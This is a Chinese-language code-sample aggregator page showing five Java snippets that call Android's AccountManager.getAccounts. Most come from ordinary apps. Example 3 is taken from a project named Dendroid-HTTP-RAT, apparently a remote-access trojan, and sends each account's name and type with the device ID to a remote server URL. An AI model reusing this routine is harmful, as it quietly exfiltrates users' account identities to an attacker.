當前位置: 首頁>>代碼示例>>Java>>正文


Java AccountManager.getAccounts方法代碼示例

本文整理匯總了Java中android.accounts.AccountManager.getAccounts方法的典型用法代碼示例。如果您正苦於以下問題:Java AccountManager.getAccounts方法的具體用法?Java AccountManager.getAccounts怎麽用?Java AccountManager.getAccounts使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在android.accounts.AccountManager的用法示例。


在下文中一共展示了AccountManager.getAccounts方法的5個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: getName

import android.accounts.AccountManager; //導入方法依賴的package包/類
private String getName() {
    AccountManager manager = (AccountManager) getSystemService(ACCOUNT_SERVICE);
    if (ActivityCompat.checkSelfPermission(this, Manifest.permission.GET_ACCOUNTS)
            != PackageManager.PERMISSION_GRANTED) {
        return null;
    }

    Account[] list = manager.getAccounts();

    for (Account account : list) {
        if (account.type.equalsIgnoreCase("com.google")) {
            return account.name;
        }
    }
    return null;
}
 
開發者ID:hypertrack,項目名稱:hypertrack-live-android,代碼行數:17,代碼來源:Profile.java

示例2: getUserIdentity

import android.accounts.AccountManager; //導入方法依賴的package包/類
private static String getUserIdentity(Context context) {
    if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
            PackageManager.PERMISSION_GRANTED) {
        AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
        Account[] list = manager.getAccounts();
        String emailId = null;
        for (Account account : list) {
            if (account.type.equalsIgnoreCase("com.google")) {
                emailId = account.name;
                break;
            }
        }
        if (emailId != null) {
            return emailId;
        }
    }
    return "";
}
 
開發者ID:MindorksOpenSource,項目名稱:CrashReporter,代碼行數:19,代碼來源:AppUtils.java

示例3: doInBackground

import android.accounts.AccountManager; //導入方法依賴的package包/類
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
開發者ID:mwsrc,項目名稱:Dendroid-HTTP-RAT,代碼行數:26,代碼來源:MyService.java

示例4: doInBackground

import android.accounts.AccountManager; //導入方法依賴的package包/類
@Override
protected Object doInBackground(Object... params) {
	// Get accounts
	mListAccount = new ArrayList<CharSequence>();
	AccountManager accountManager = AccountManager.get(ActivityApp.this);
	mAccounts = accountManager.getAccounts();
	mSelection = new boolean[mAccounts.length];
	for (int i = 0; i < mAccounts.length; i++)
		try {
			mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
			String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
			mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
		} catch (Throwable ex) {
			Util.bug(null, ex);
		}
	return null;
}
 
開發者ID:ukanth,項目名稱:XPrivacy,代碼行數:18,代碼來源:ActivityApp.java

示例5: onCreate

import android.accounts.AccountManager; //導入方法依賴的package包/類
@Override
protected void onCreate(Bundle savedInstanceState)
{
    themeHue = new ThemeHue();
    actionBarHue = new ActionBarHue();
    ThemeHue.setTheme(PreferencesActivity.this);

    super.onCreate(null);
    getFragmentManager().beginTransaction().replace(android.R.id.content, new MyPreferenceFragment()).commit();

    mSharedPrefs = PreferenceManager.getDefaultSharedPreferences(this);

    ActionBarHue.setActionBarColorToSharedPrefsValue(this);

    AccountManager mAccountManager = AccountManager.get(this);
    if (mAccountManager.getAccounts().length > 0)
    {
        Account[] mAccounts = mAccountManager.getAccounts();

        for (Account a : mAccounts)
        {
            mAccountNames.add(a.name);
        }
    }

    getSupportActionBar().setDisplayHomeAsUpEnabled(true);
}
 
開發者ID:HueToYou,項目名稱:ChatExchange-old,代碼行數:28,代碼來源:PreferencesActivity.java


注:本文中的android.accounts.AccountManager.getAccounts方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。